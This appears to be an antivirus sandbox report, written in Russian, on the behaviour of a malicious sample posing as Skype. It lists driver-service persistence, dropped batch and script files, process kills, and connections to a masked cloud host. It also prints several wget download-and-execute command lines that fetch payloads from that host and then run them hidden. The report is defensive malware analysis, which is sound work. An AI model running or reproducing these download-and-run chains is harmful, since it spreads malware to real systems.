Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\SNAPSHOD0] 'ImagePath' = '<DRIVERS>\SNAPSHOD0.sys'
Создает следующие сервисы
- 'SNAPSHOD0' <DRIVERS>\SNAPSHOD0.sys
Вредоносные функции
Запускает на исполнение
- '%WINDIR%\syswow64\taskkill.exe' /im "<Имя файла>.exe" /F
- '%WINDIR%\syswow64\taskkill.exe' /im SnapShot.Exe /F
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\skype for desktop\settings.json
- u:\skype8\api-ms-win-crt-conio-l1-1-0.dll
- u:\skype8\api-ms-win-core-xstate-l2-1-0.dll
- u:\skype8\api-ms-win-core-util-l1-1-0.dll
- u:\skype8\api-ms-win-core-timezone-l1-1-0.dll
- u:\skype8\api-ms-win-core-sysinfo-l1-1-0.dll
- u:\skype8\api-ms-win-core-synch-l1-2-0.dll
- u:\skype8\api-ms-win-core-synch-l1-1-0.dll
- u:\skype8\api-ms-win-core-string-l1-1-0.dll
- u:\skype8\api-ms-win-core-rtlsupport-l1-1-0.dll
- u:\skype8\api-ms-win-core-profile-l1-1-0.dll
- u:\skype8\api-ms-win-core-processthreads-l1-1-1.dll
- u:\skype8\api-ms-win-core-processthreads-l1-1-0.dll
- u:\skype8\api-ms-win-core-processenvironment-l1-1-0.dll
- u:\skype8\api-ms-win-core-namedpipe-l1-1-0.dll
- u:\skype8\api-ms-win-core-memory-l1-1-0.dll
- u:\skype8\api-ms-win-core-localization-l1-2-0.dll
- u:\skype8\api-ms-win-core-libraryloader-l1-1-0.dll
- u:\skype8\api-ms-win-core-interlocked-l1-1-0.dll
- u:\skype8\api-ms-win-core-heap-l1-1-0.dll
- u:\skype8\api-ms-win-core-handle-l1-1-0.dll
- u:\skype8\api-ms-win-core-file-l2-1-0.dll
- u:\skype8\api-ms-win-core-file-l1-1-0.dll
- u:\skype8\api-ms-win-core-file-l1-2-0.dll
- u:\skype8\api-ms-win-crt-convert-l1-1-0.dll
- u:\skype8\api-ms-win-crt-environment-l1-1-0.dll
- u:\skype8\resources\app.asar.unpacked\modules\rtmmediamanager.dll
- u:\skype8\resources\app.asar.unpacked\modules\rtmcontrol.dll
- u:\skype8\resources\app.asar.unpacked\modules\rtmcodecs.dll
- u:\skype8\resources\app.asar.unpacked\modules\processing.ndi.lib.x86.dll
- u:\skype8\resources\app.asar.unpacked\modules\onnxruntime.dll
- u:\skype8\msvcp140.dll
- u:\skype8\libglesv2.dll
- u:\skype8\libegl.dll
- u:\skype8\ffmpeg.dll
- u:\skype8\d3dcompiler_47.dll
- u:\skype8\api-ms-win-crt-time-l1-1-0.dll
- u:\skype8\resources\app.asar.unpacked\modules\slimcore.node
- u:\skype8\api-ms-win-crt-string-l1-1-0.dll
- u:\skype8\api-ms-win-crt-stdio-l1-1-0.dll
- u:\skype8\api-ms-win-crt-runtime-l1-1-0.dll
- u:\skype8\api-ms-win-crt-process-l1-1-0.dll
- u:\skype8\api-ms-win-crt-private-l1-1-0.dll
- u:\skype8\api-ms-win-crt-multibyte-l1-1-0.dll
- u:\skype8\api-ms-win-crt-math-l1-1-0.dll
- u:\skype8\api-ms-win-crt-locale-l1-1-0.dll
- u:\skype8\api-ms-win-crt-heap-l1-1-0.dll
- u:\skype8\api-ms-win-crt-filesystem-l1-1-0.dll
- u:\skype8\api-ms-win-core-errorhandling-l1-1-0.dll
- u:\skype8\api-ms-win-core-debug-l1-1-0.dll
- u:\skype8\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\7skype8.#
- %TEMP%\1skype8.#
- %TEMP%\5skype8.#
- %TEMP%\2skype8.#
- %TEMP%\4skype8.#
- %TEMP%\9skype8.#
- %TEMP%\4wvhh5s1u
- %TEMP%\6skype8.#
- %TEMP%\3skype8.#
- %TEMP%\8skype8.#
- %WINDIR%\temp\udd5206.tmp
- %TEMP%\wg.bat
- <DRIVERS>\snapshod0.sys
- %TEMP%\rd.sna
- %TEMP%\2mvpt9fx1
- nul
- %TEMP%\wz.bat
- %TEMP%\ok.js
- %TEMP%\wget.exe
- %TEMP%\skype.bat
- %TEMP%\123skype8.exe
- u:\skype8\chrome_100_percent.pak
- %TEMP%\conf1skype8
- u:\skype8\chrome_200_percent.pak
- u:\skype8\api-ms-win-core-console-l1-1-0.dll
- u:\skype8\codesignsummary-c7f88115-093b-4b0a-887c-9d60408870d6.md
- u:\skype8\7z.exe
- u:\skype8\vk_swiftshader_icd.json
- u:\skype8\version
- u:\skype8\v8_context_snapshot.bin
- u:\skype8\unins000.msg
- u:\skype8\unins000.dat
- u:\skype8\third-party_attributions.html
- u:\skype8\snapshot_blob.bin
- u:\skype8\resources\app.asar.unpacked\modules\wam.node
- u:\skype8\api-ms-win-crt-utility-l1-1-0.dll
- u:\skype8\resources\app.asar.unpacked\modules\rtmpal.dll
- u:\skype8\resources\app.asar.unpacked\modules\sharing-indicator.node
- u:\skype8\resources\app.asar.unpacked\modules\platform.node
- u:\skype8\resources\app.asar.unpacked\modules\keytar.node
- u:\skype8\resources\app.asar.unpacked\modules\electron_utility.node
- u:\skype8\resources\app.asar.unpacked\modules\electron-ssid.node
- u:\skype8\resources\app.asar
- u:\skype8\resources.pak
- u:\skype8\locales\ru.pak
- u:\skype8\licenses.chromium.html
- u:\skype8\icudtl.dat
- u:\skype8\resources\app.asar.unpacked\modules\trouter-client.node
- u:\skype8\resources\app.asar.unpacked\modules\rtmpltfm.dll
Удаляет следующие файлы
- %TEMP%\ok.js
- %WINDIR%\temp\udd5206.tmp
- %TEMP%\1skype8.#
- %TEMP%\2skype8.#
- %TEMP%\3skype8.#
- %TEMP%\4skype8.#
- %TEMP%\5skype8.#
- %TEMP%\6skype8.#
- %TEMP%\7skype8.#
- %TEMP%\8skype8.#
- %TEMP%\9skype8.#
- %TEMP%\4wvhh5s1uskype8
- %TEMP%\conf1skype8
- %TEMP%\wget.exe
Перемещает следующие файлы
- %TEMP%\2mvpt9fx1 в %TEMP%\snapshot.exe
- %TEMP%\4wvhh5s1u в %TEMP%\4wvhh5s1uskype8
Подменяет следующие файлы
- %TEMP%\ok.js
Сетевая активность
Подключается к
- 'cl######.datacloudmail.ru':80
- 'cl######.datacloudmail.ru':443
TCP
- 'cl######.datacloudmail.ru':443
UDP
- DNS ASK cl######.datacloudmail.ru
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
- ClassName: '' WindowName: '1197978/2584'
- ClassName: '' WindowName: '1198462/1716'
Создает и запускает на исполнение
- '%TEMP%\wget.exe' --no-check-certificate http://cl######.datacloudmail.ru/weblink/get/3FZq/2MVPt9fx1
- '%TEMP%\wget.exe' --no-check-certificate --output-document=Rd.Sna http://cl######.datacloudmail.ru/weblink/get/2gXn/hH5sR16jd
- '%TEMP%\snapshot.exe' -!unmount
- '%TEMP%\snapshot.exe' Rd.Sna U: -vq
- '%TEMP%\wget.exe' --no-check-certificate http://cl######.datacloudmail.ru/weblink/get/3egv/4Wvhh5S1u
- '%TEMP%\wget.exe' --no-check-certificate --output-document=1Skype8.# http://cl######.datacloudmail.ru/weblink/get/3RCA/4LXjJMp7g
- '%TEMP%\wget.exe' --no-check-certificate --output-document=2Skype8.# http://cl######.datacloudmail.ru/weblink/get/4Jfv/4z4mwamk3
- '%TEMP%\wget.exe' --no-check-certificate --output-document=3Skype8.# http://cl######.datacloudmail.ru/weblink/get/3Z3N/hu6G9BUVz
- '%TEMP%\wget.exe' --no-check-certificate --output-document=4Skype8.# http://cl######.datacloudmail.ru/weblink/get/2qYZ/45u2KRjxZ
- '%TEMP%\wget.exe' --no-check-certificate --output-document=5Skype8.# http://cl######.datacloudmail.ru/weblink/get/2b6S/5Df7TCRzJ
- '%TEMP%\wget.exe' --no-check-certificate --output-document=6Skype8.# http://cl######.datacloudmail.ru/weblink/get/4sYx/2HZgcbDbM
- '%TEMP%\wget.exe' --no-check-certificate --output-document=7Skype8.# http://cl######.datacloudmail.ru/weblink/get/2PRK/5cEddtHF8
- '%TEMP%\wget.exe' --no-check-certificate --output-document=9Skype8.# http://cl######.datacloudmail.ru/weblink/get/2g9r/5FBGeLcpE
- '%TEMP%\wget.exe' --no-check-certificate --output-document=8Skype8.# http://cl######.datacloudmail.ru/weblink/get/4mwc/56JDiF73o
- '%TEMP%\123skype8.exe'
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\Skype.Bat" "<Полный путь к файлу>" "<Текущая директория>" "<Имя файла>.exe" "%LOCALAPPDATA%\Temp" "' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\Skype.Bat" "<Полный путь к файлу>" "<Текущая директория>" "<Имя файла>.exe" "%LOCALAPPDATA%\Temp" "
- '%WINDIR%\syswow64\attrib.exe' +r Skype.bat
- '%WINDIR%\syswow64\cscript.exe' Ok.Js //Nologo
- '%WINDIR%\syswow64\attrib.exe' +r wz.bat
- '%WINDIR%\syswow64\cmd.exe' /K wz.bat
- '%WINDIR%\syswow64\ping.exe' -n 6 localhost
- '%WINDIR%\syswow64\attrib.exe' +a +r +h +s SnapShod0.Sys
- '%WINDIR%\syswow64\attrib.exe' +r SnapShot.Exe
- '%WINDIR%\syswow64\cmd.exe' /K wg.bat
- '%WINDIR%\syswow64\ping.exe' -n 2 localhost
- '%WINDIR%\syswow64\tasklist.exe' /fi "IMAGENAME eq Wget.Exe"
- '%WINDIR%\syswow64\find.exe' /i "Wget.Exe"
